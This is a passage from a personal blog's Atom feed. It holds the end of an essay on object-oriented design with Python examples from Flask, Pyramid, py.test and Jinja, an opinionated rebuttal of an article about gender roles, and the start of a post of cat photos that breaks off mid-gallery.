<p>There’s a common theme among these bullet points.  By making implementations of <code>Job</code> be subclasses instead of instances, the only tools available for factoring out common code or adding new behaviors are the tools built into the core of the class system: primarily, inheritance.  By using instances, <em>the entire language</em> can be used however you want, because they’re just objects.  The parts are clearly defined, easy to reason about, and easy to reuse.</p>

<p>Not convinced by any of these bullet points?  Doesn’t matter; they, too, are just fluff.  The real reason here is that this is the <em>right</em> way to structure a program, and shoehorning functions into methods is <em>wrong</em>, and that’s <a href="http://me.veekun.com/blog/2012/03/24/on-principle/">good enough for me</a>.</p>

<p>After all, there’s probably a good reason we don’t all do this.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="k">class</span> <span class="nc">StudentGrades</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="n">alice</span> <span class="o">=</span> <span class="mi">100</span>
</span><span class="line">    <span class="n">bob</span> <span class="o">=</span> <span class="mi">96</span>
</span><span class="line">    <span class="n">charles</span> <span class="o">=</span> <span class="mi">62</span>
</span><span class="line">    <span class="n">david</span> <span class="o">=</span> <span class="mi">85</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Exactly the same thing.</p>

<h3 id="the-controller-antipattern">The controller antipattern</h3>

<p>Here’s the good part: the “state and behavior” mantra doesn’t just apply to one-method wonders.  I bet you’ve seen this before:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="k">class</span> <span class="nc">LoginController</span><span class="p">(</span><span class="n">Controller</span><span class="p">):</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">register</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">render_template</span><span class="p">(</span><span class="s">&#39;/register.mako&#39;</span><span class="p">)</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">login</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">&#39;POST&#39;</span><span class="p">:</span>
</span><span class="line">            <span class="c"># ...</span>
</span><span class="line">        <span class="k">else</span><span class="p">:</span>
</span><span class="line">            <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">render_template</span><span class="p">(</span><span class="s">&#39;/login.mako&#39;</span><span class="p">)</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">logout</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="c"># ...</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This is the controller pattern.  At first glance, this might seem perfectly reasonable: there are, clearly, multiple methods here.</p>

<p>I ask once more: what is a <code>LoginController</code> object, and what does it do?</p>

<p>I can tell you what it does: it handles various auth-related page requests.  That’s a little hokey, but okay.  <em>What <strong>is</strong> it?</em></p>

<p>It’s nothing.  There’s no way to describe it without sounding like a blowhard.  It’s not “a controller for some URL space”, because <em>that’s what the class is</em>.  An instance of it is utterly meaningless!</p>

<p>Once again, these “methods” are actually state, not behavior.  They’re all attributes of some application object whose <em>behavior</em> is to receive requests and dispatch them to the appropriate handler functions.  Turning those functions into methods muddies the distinction between your framework and your particular app.</p>

<p>Look at how <a href="http://flask.pocoo.org/">Flask</a> does it:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
</span><span class="line">
</span><span class="line"><span class="nd">@app.route</span><span class="p">(</span><span class="s">&#39;/&#39;</span><span class="p">)</span>
</span><span class="line"><span class="k">def</span> <span class="nf">hello</span><span class="p">():</span>
</span><span class="line">    <span class="k">return</span> <span class="s">u&quot;Hello world!&quot;</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>The app is the object, and the various URL handlers are its state.  <a href="http://www.pylonsproject.org/projects/pyramid/about">Pyramid</a> does the same:</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>views.py </span></figcaption>
 <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="nd">@view_config</span><span class="p">(</span><span class="n">route_name</span><span class="o">=</span><span class="s">&#39;home&#39;</span><span class="p">)</span>
</span><span class="line"><span class="k">def</span> <span class="nf">home</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
</span><span class="line">    <span class="k">return</span> <span class="n">Response</span><span class="p">(</span><span class="s">u&quot;Hello world!&quot;</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>app.py </span></figcaption>
 <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="n">config</span> <span class="o">=</span> <span class="n">Configurator</span><span class="p">()</span>
</span><span class="line"><span class="n">config</span><span class="o">.</span><span class="n">scan</span><span class="p">()</span>  <span class="c"># picks up the decorated function in views.py</span>
</span><span class="line"><span class="n">app</span> <span class="o">=</span> <span class="n">config</span><span class="o">.</span><span class="n">make_wsgi_app</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>The app is the object, and the various URL handlers are its state.</p>

<p>Think this only applies to Web frameworks?  I bet you’ve seen this before, too:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="k">class</span> <span class="nc">TestSomething</span><span class="p">(</span><span class="n">UnitTest</span><span class="p">):</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">test_one</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">assert</span> <span class="bp">True</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">test_two</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">assert</span> <span class="bp">True</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>You already know what I’m going to ask: what is a <code>TestSomething</code> object?  Less than nothing.  Does it even have any state?  It looks like it’s only instantiated at all so its “methods” can be called!</p>

<p>I have seen some <em>royal</em> messes result from this pattern, especially when combined with multiple-inheritance-for-sharing and extras like teardown methods.  If you get the <code>super</code>s wrong, you might not be tearing your tests down.</p>

<p>Here’s the same test suite, rewritten with <a href="http://pytest.org/latest/">py.test</a>:</p>

<div class="bogus-wrapper"><notextile><figure class="code"><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class=""><span class="line">def test_one():
</span><span class="line">    assert True
</span><span class="line">
</span><span class="line">def test_two():
</span><span class="line">    assert True</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>py.test does support test classes, but <em>everything</em> it can do works just as well with plain functions.  Need setup, teardown, resources, sharing?  No problem; you can define it all, scoped however you want, <a href="http://pytest.org/latest/fixture.html#fixture">far far away from your actual tests</a>.</p>

<h3 id="and-so">And so</h3>

<p>What’s a stupid class, then?  One that produces <em>stupid objects</em>—ones that lack clear and meaningful <em>state and behavior</em>.  State and behavior.  State and behavior.  If it doesn’t bundle state and behavior in a sensible way, it should not be an object, and there should not be a class that produces it.</p>

<p>Easy litmus test: what is an instance of your class, in no more than five words?  Most stupid classes require explanations that begin “it’s an object that…” and then you only have one word left.  Sensible objects should have a <em>description</em>.  They should <em>be</em> something.  Lists <em>are</em> sequences of items.  Modules <em>are</em> containers for related code.  Jobs <em>are</em> scheduled maintenance tasks.  Applications <em>are</em> dispatchers for an entire site.</p>

<h2 id="but-armin-is-right-too">But Armin is right too</h2>

<p>I hope I’ve made an inkling of a point by now.  If not about object design in general, at least about controller classes.  But before you run off with the impression that I think all classes are evil: remember, I agree with “Start Writing More Classes” too.</p>

<p>The difference is all in the examples.  Armin cites parts of Flask.</p>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>jinja.py </span></figcaption>
 <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="k">def</span> <span class="nf">get_template</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">parent</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="nb">globals</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
</span><span class="line">    <span class="k">if</span> <span class="n">parent</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
</span><span class="line">        <span class="n">name</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">join_path</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">parent</span><span class="p">)</span>
</span><span class="line">    <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">loader</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="nb">globals</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>loader.py </span></figcaption>
 <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="k">def</span> <span class="nf">load</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">environment</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="nb">globals</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
</span><span class="line">    <span class="k">if</span> <span class="nb">globals</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
</span><span class="line">        <span class="nb">globals</span> <span class="o">=</span> <span class="p">{}</span>
</span><span class="line">    <span class="n">source</span><span class="p">,</span> <span class="n">filename</span><span class="p">,</span> <span class="n">uptodate</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_source</span><span class="p">(</span><span class="n">environment</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span>
</span><span class="line">    <span class="n">code</span> <span class="o">=</span> <span class="n">environment</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span>
</span><span class="line">    <span class="k">return</span> <span class="n">environment</span><span class="o">.</span><span class="n">template_class</span><span class="o">.</span><span class="n">from_code</span><span class="p">(</span><span class="n">environment</span><span class="p">,</span> <span class="n">code</span><span class="p">,</span>
</span><span class="line">                                                <span class="nb">globals</span><span class="p">,</span> <span class="n">uptodate</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<div class="bogus-wrapper"><notextile><figure class="code"><figcaption><span>environment.py </span></figcaption>
 <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="py"><span class="line"><span class="k">def</span> <span class="nf">compile</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">source</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">filename</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
</span><span class="line">    <span class="c"># template code to jinja&#39;s abstract syntax tree</span>
</span><span class="line">    <span class="n">source</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_parse</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span>
</span><span class="line">    <span class="c"># jinja&#39;s abstract syntax tree to python source</span>
</span><span class="line">    <span class="n">source</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_generate</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span>
</span><span class="line">    <span class="c"># python source to bytecode</span>
</span><span class="line">    <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_compile</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>The <a href="http://lucumr.pocoo.org/2013/2/13/moar-classes/">actual article</a> has some commentary on what these parts actually <em>are</em>, but I’m interested in how they’re <em>written</em>.</p>

<p>Because, you see, these methods are <strong>all on different objects</strong>.  Each of them implements a tiny fraction of a <em>different thing</em>’s behavior.  The Flask app itself knows how to get a template, but only by consulting a template loader it owns.  The template loader knows the mechanics of finding a template, but it needs to consult an environment object to know where to actually look.  The environment object knows how to compile a template, but breaks it into meaningful and independent steps.</p>

<p>These are all independent things that I can talk about meaningfully.  I can work on them without needing to understand the context of how they’re used or what they use themselves.  I could test them without concerning myself with a thousand other intertwined code paths.  They all have <em>state and behavior</em> that I could describe in a sentence or two, and you’d have a pretty good idea of everything they do and how they do it.</p>

<p>These are good classes, <strong>because they produce good objects.</strong>  And when you have a lot of good objects, you can certainly replace them and change them and reuse them and recombine them as Armin wishes he could do more often.  Remember py.test?  All of its shenanigans are built on objects, even if the tests themselves are not.  You know WSGI?  It’s all defined in terms of callables, yet most of the time we use classes with <code>__call__</code> methods instead.  Pyramid uses <em>mountains</em> of objects and hooks under the hood, but you’ll never notice until the day you realize you need to toy with some of them.</p>

<h2 id="so">So</h2>

<p>So please stop using classes as shapeless bags in which to dump functions.  Chances are, either that big ol’ function is actually the state of a different kind of object entirely, or there are several smaller concerns in there you could break apart.</p>

<p>Hell, if you can manage it, forget about classes entirely.  They’re just a convenient way to factor common behavior out of objects.  Let’s design useful, scoped, meaningful objects, and <em>then</em> write classes that produce them.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Suzanne Venker is a robot alien in disguise]]></title>
    <link href="http://me.veekun.com/blog/2013/02/08/suzanne-venker-is-a-robot-alien-in-disguise/"/>
    <updated>2013-02-08T19:21:00-08:00</updated>
    <id>http://me.veekun.com/blog/2013/02/08/suzanne-venker-is-a-robot-alien-in-disguise</id>
    <content type="html"><![CDATA[<p>It’s my best guess.  It would explain some things.</p>

<p>She has written another <a href="http://www.foxnews.com/opinion/2013/02/05/to-be-happy-must-admit-women-and-men-arent-equal/">charming opinion piece</a> and I can’t resist butting my big dumb head in to object to a few things here.</p>

<p>(The article was originally accompanied by a thumbnail of a <a href="http://jessicavalenti.tumblr.com/post/42612393836/shhhh-no-one-tell-fox-news-that-the-wedding-kiss">happy couple in typical wedding garb kissing</a> with a cool skyline background.  Minor oversight: both of them were women, which sort of contradicts the article’s title in a number of hilarious ways.  Strangely, this illustration has now vanished!)</p>

<!-- more -->

<blockquote>
  <p>[book shill elided] Its premise is that if women want to be successful in love, they should reject the cultural script they’ve been sold and adopt a whole new view of men and marriage.</p>
</blockquote>

<p>We begin with a perfectly-framed example of how she doesn’t understand what “equality” is supposed to be about.  The whole point of regarding everyone as equal is to <em>avoid having a cultural script in the first place</em>!  Men are allowed to like football and beer; women are allowed to like knitting and raising children.  The only problem is that men and women are <em>expected</em> to like these things and encounter atmospheric resistance by liking something else.</p>

<p>It almost sounds like this leading paragraph would agree with this principle, yet the article’s thesis is that equality sucks.  The difference is that there’s now a cultural script <em>she</em> doesn’t like, so it needs to be rejected.  The former cultural script suited her just fine, of course, so it was just The Way Things Are and why was everyone making such a big fuss?  The irony it is palpable.</p>

<blockquote>
  <p>1. Women postpone marriage indefinitely and move in and out of intense romantic relationships, or even live with their boyfriends for years at a time. Eventually, their biological clocks start ticking and many decide they better hurry up and get married to provide a stable home for their yet-to-be-born children. Trouble is, their boyfriend’s not willing to commit.</p>
</blockquote>

<p>Wait, what?  This hypothetical woman is living with her partner for <em>years at a time</em>, but (a) this doesn’t qualify as a “stable home” and (b) the hypothetical partner isn’t willing to commit?  How much more committed can you get than to intertwine your lives?  It must only count as commitment if you have to sign some paperwork to break it off—wait, oops, both your names are on the lease and the bank accounts.</p>

<p>I can’t even visualize this scenario.  It makes no sense to me whatsoever.  (I might have blinders on since my girlfriend has been living with me for two years.)  Why would you live together for years if you couldn’t “commit”?  Why would you have a long-term relationship with someone whose life plans are so drastically incompatible?</p>

<p>The more I think about this, the weirder it gets.  It sounds like the woman will just up and decide one day to have children, and the boyfriend is obligated to create and help raise them, and if he doesn’t want to then…  it’s the woman’s fault?  This is absurd.</p>

<blockquote>
  <p>2. Marriage becomes a competitive sport. The complementary nature of marriage—in which two people work together, as equals, toward the same goal but with an appreciation for the qualities each gender brings to the table—has been obliterated. Today, husbands and wives are locked in a battle about whom does more on the home front and how they’re going to get everything done. That’s not a marriage. That’s war.</p>
</blockquote>

<p>How about the qualities each <em>person</em> brings to the table?  Mel’s husband cooks because he’s the best at cooking and enjoys doing it.  (The two of us both kind of suck at it.)  Mel and I work all day.  Where exactly does gender come into this?</p>

<p>This scenario sure seems to imply that the woman doesn’t <em>want</em> to do the work traditionally assigned to her, which puts a strange spin on the subsequent proposal that perhaps she should just do it anyway because she’s a woman and that makes her genetically predisposed to being better at holding a mop.</p>

<p>Maybe—<em>maybe</em>—there wouldn’t be fighting if the husband didn’t take for granted that the wife should do the housework because she’s the woman.  Maybe.</p>

<blockquote>
  <p>It’s time to say what no one else will: Feminism didn’t result in equality between the sexes—it resulted in mass confusion. Today, men and women have no idea who’s supposed to do what.</p>
</blockquote>

<p>How do you get anything done at work?  I mean, you have <em>way</em> more than two people at Fox News (I assume), and many of them are the same gender!  Without the advantages a prescribed list of what tasks your genitals uniquely enable you to perform, how can you possibly get anywhere?</p>

<p>Oh, right.  You delegate.  You assign responsibilities.  You sit down and figure it out because you’re fucking <em>adults</em>.</p>

<blockquote>
  <p>It’s hard to claim women were oppressed in a nation in which men were expected to stand up when a lady enters the room or to lay down their lives to spare women life.</p>
</blockquote>

<p>They were patronized, paid less, denied the right to vote until very recently, ignored, beaten by their husbands…  but by golly, men stood up when they walked in the room!</p>

<blockquote>
  <p>When the Titanic went down in 1912, its sinking took 1,450 lives. Only 103 were women. One-hundred three.</p>
</blockquote>

<p>There were only 425 women on board in the first place, on a ship with over 2,000 passengers.  Men outnumbered women 4-to-1.  I wonder why <em>that</em> was?  Women stuck at home looking after their children while the men went on a fancy expensive cruise, perhaps?</p>

<p>Here’s a little ASCII <a href="http://en.wikipedia.org/wiki/RMS_Titanic#Survivors_and_victims">chart</a>:</p>

<pre><code>            saved       lost        total
women        316        109          425        26% lost
men          338       1352         1690        80% lost
children      56         53          109        49% lost
</code></pre>

<p>Women were still proportionally under-represented in the death toll, yes, but by three-to-one rather than thirteen-to-one.  Oh, and <em>half</em> the children were lost, which is fascinating given the mention of “women and children first” in the next paragraph.</p>

<blockquote>
  <p>Compare that with last year’s wrecked cruise line, the Costa Concordia. It resulted in fewer deaths, but there was another significant difference. “There was no ‘women and children first’ policy. There were big men, crew members, pushing their way past us to get into the lifeboats. It was disgusting,” said passenger Sandra Rogers, 62.</p>
</blockquote>

<p>I have enough faith in my species to believe that there are options between “everyone is an asshole” and “treat women like helpless delicate flowers”.</p>

<p>Why do women specifically need to go first?  How about the crew, <em>and</em> everyone who’s capable, help <em>everyone else</em> get off a sinking ship?  Your reproductive properties shouldn’t need to come into this.  I, for example, own a penis, yet it does not imbue me with many skills useful in a physical emergency.</p>

<blockquote>
  <p>You see, the problem with equality is that it implies two things are interchangeable—meaning one thing can be substituted for the other with no ramifications.</p>

  <p>But the truth must be heard. Being equal in worth, or value, is not the same as being identical, interchangeable beings.</p>
</blockquote>

<p>Marriage was <em>just</em> described as an arrangement where two people work together “as equals”, like three paragraphs ago.  And then second paragraph here seems to use “equal” in a good sense again.  I don’t get it.  Is “equal” supposed to be different from “equality” in this lexicon?</p>

<blockquote>
  <p>Men and women may be capable of doing many of the same things, but that doesn’t mean they want to.</p>
</blockquote>

<p>And that’s exactly what feminism is saying.  Women may be capable of doing the dishes, but that doesn’t mean they want to.  (Again, if women <em>wanted</em> to do all the “women’s work”, why would the revelation that they don’t <em>have</em> to be causing conflict within marriages?)</p>

<blockquote>
  <p>That we don’t have more female CEOs or stay-at-home dads proves this in spades.</p>
</blockquote>

<p>Or maybe we don’t have more female CEOs because becoming CEO requires a little more effort than turning in a stellar résumé, and there’s a years-long career advancement gauntlet that heavily biases towards men.  <em>Maybe.</em></p>

<p>Maybe those same sunnier employment opportunities for men also explain why there are fewer stay-at-home dads: it’s common for one parent to work, and if the entire employment system is orchestrated such that the husband has a better chance at a better job, well.</p>

<p>What a scummy thing to say.</p>

<blockquote>
  <p>Unless, of course, you’re beholden to feminism. In that case, you’ll believe the above is evidence of discrimination. You’ll believe what feminists taught you to believe: that gender is a social construct.</p>
</blockquote>

<p>This, in an article that began by telling women to reject a “cultural script”.  Somehow <em>culture</em> can tell <em>women specifically</em> what to do, but <em>society</em> doing the same is fundamentally different and also mythical, or whatever other wordplay headgame we’re playing here.</p>

<blockquote>
  <p>Those of us with children know better. We know little girls love their dolls and boys just want to kick that ball.</p>
</blockquote>

<p>Sure.  Some do.  Do <em>all</em>?</p>

<p>The last paragraph said “social construct” with a sneer I could actually hear in my head, like it were some abstract nonsense.  But this is precisely what it <em>is</em>, concretely: little girls have <em>nothing else to play with</em> but their dolls, and little boys have <em>nothing else to play with</em> but their balls.  Toy stores are <em>remarkably</em> segregated by gender, with entire aisles color-coded pink and blue for the things toy manufacturers assume girls and boys will play with, and only girls and boys on the boxes.</p>

<p>Yes, any child could decide adamantly to fight the system and go in the wrong aisle.</p>

<p>How many would do that in practice?  Granted, I don’t have children, but it’s my understanding that the developing human brain is spending most of its effort doing <em>pattern matching</em>: it wants to learn all it can about the world by absorbing patterns and figuring out what things are connected.  Raising a child involves a whole lot of instruction in what Is Okay and what Is Not Okay, and the reasons are often arbitrary adult things like “that’s just how it is”.  Why would a blank slate, seeded with this information and an arrangement of pre-selected toys with his/her gender plastered all over (something that is ingrained from day one as a very important criterion for discriminating between other humans), do anything other than assume he/she is Supposed To select from those and like them?</p>

<p>This is the heart of the problem egalitarianism seeks to solve: you aren’t even giving children a <em>chance</em> to decide otherwise.  You are taking for granted that girls like X and boys like Y, and I guess assuming that people—<em>children</em>, even—will fight back against layers and layers of these assumptions held by millions of people and even published in a news article by the biggest media conglomerate in the country.  All just to play with a doll.</p>

<p>What would you do, author, if your son genuinely enjoyed playing with dolls?  I honestly wonder.</p>

<blockquote>
  <p>It just means each gender has its own energy that flows in a specific direction. For God’s sake, <em>let it flow</em>.</p>
</blockquote>

<p>Or: each person has his/her own energy that flows in a specific direction; stop putting people in tiny boxes and <em>let it flow</em>.</p>

<blockquote>
  <p>The battle of the sexes is over. And guess what? No one won. Why not try something else on for size? Like this: men and women are equal, but different. They’ve each been blessed with amazing and unique qualities that they bring to the table. Isn’t it time we stopped fussing about who brought what and simply enjoy the feast?</p>
</blockquote>

<p>“Oh, honey.  Of course you’re equal to me.  But you should make me a sandwich and get me my slippers because you’re a <em>woman</em> and I’m a <em>man</em>.”</p>

<p>It wasn’t so long ago—and it may still be true in some parts of the world—that “writing” was not considered one of the unique qualities afforded to women.</p>

<p>“Equal but uniquely different” is a dangerous mantra.  I could swear history has taught us this a few times by now.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Look at my cat]]></title>
    <link href="http://me.veekun.com/blog/2013/01/29/look-at-my-cat/"/>
    <updated>2013-01-29T20:16:00-08:00</updated>
    <id>http://me.veekun.com/blog/2013/01/29/look-at-my-cat</id>
    <content type="html"><![CDATA[<p>In early December 2011, I bought a digital SLR.</p>

<p>In mid December 2011, I bought a cat.</p>

<p>You can see where this is going.</p>

<p>Styx is a Sphynx, one of the hairless breeds.  (Wow!  Just like Dr. Evil’s cat!  I have never heard that before!  You are so clever!)  Mel already had a sphynx, Twigs, and he pretty much sold me on Sphynxes being the best cats ever.  Though I think Styx might have more of a Devon Rex personality and body shape, based on Mel’s cat breed book.</p>

<p>I’ve accumulated a mountain of cat photos, but only a few of them have seen the light of day.  Let’s fix that!  And please do pardon my shoddy attempts at composition and framing and white-balance and post-processing and otherwise trying to take photography more seriously than Instagram.</p>

<!-- more -->

<hr />

<p>Here’s Styx as a kitten.  You can only really get a Sphynx from a breeder, so we had to spend a day driving all the way down to the middle of nowhere in northern Oregon, some hours east of Portland.</p>

<p>Since you’re here, let me tell you my cute kitten story: when we arrived, all of the kittens went to hide under the far corner of the breeder’s bed.  She was several minutes into a vain attempt at coaxing them out when I turned to look around the rest of the room and saw a lone kitten sitting out in the middle of the floor, staring at us.  I went over and knelt down, said hi to him, and reached out to pet him—and he tilted his head and batted in the general direction of my hand several times, rapid-fire, with this ridiculous clumsy defiance.  I knew I had to have this kitten.</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/styx-kitten-1.jpg" class="fancybox" rel="gallery-483c85c04c6c9332812dc7d5b3392e6b" title="So, so tiny.  Still at the breeder, in Mel's hand."><img src="http://me.veekun.com/media/2013-01/styx-kitten-1_m.jpg" alt="So, so tiny.  Still at the breeder, in Mel's hand." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-kitten-2.jpg" class="fancybox" rel="gallery-483c85c04c6c9332812dc7d5b3392e6b" title="Look at this ridiculous face."><img src="http://me.veekun.com/media/2013-01/styx-kitten-2_m.jpg" alt="Look at this ridiculous face." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-kitten-3-parents.jpg" class="fancybox" rel="gallery-483c85c04c6c9332812dc7d5b3392e6b" title="One of these is Styx's dad; I think it's the one with the gigantic balls."><img src="http://me.veekun.com/media/2013-01/styx-kitten-3-parents_m.jpg" alt="One of these is Styx's dad; I think it's the one with the gigantic balls." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-kitten-4.jpg" class="fancybox" rel="gallery-483c85c04c6c9332812dc7d5b3392e6b" title="I kept him in my room for the first few days; here he is tumbling around on my floor."><img src="http://me.veekun.com/media/2013-01/styx-kitten-4_m.jpg" alt="I kept him in my room for the first few days; here he is tumbling around on my floor." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-kitten-5.jpg" class="fancybox" rel="gallery-483c85c04c6c9332812dc7d5b3392e6b" title="Wish the whole pillow were visible for better scale.  He could sit comfortable on one palm."><img src="http://me.veekun.com/media/2013-01/styx-kitten-5_m.jpg" alt="Wish the whole pillow were visible for better scale.  He could sit comfortable on one palm." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-kitten-6.jpg" class="fancybox" rel="gallery-483c85c04c6c9332812dc7d5b3392e6b" title="Ugh my floor is so dirty"><img src="http://me.veekun.com/media/2013-01/styx-kitten-6_m.jpg" alt="Ugh my floor is so dirty" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-kitten-7.jpg" class="fancybox" rel="gallery-483c85c04c6c9332812dc7d5b3392e6b" title="Posed on our cat tree like a school portrait."><img src="http://me.veekun.com/media/2013-01/styx-kitten-7_m.jpg" alt="Posed on our cat tree like a school portrait." /></a></li>
</ul>

<p>Styx makes adorable sleepy-cat faces.</p>

<ul class="gallery">
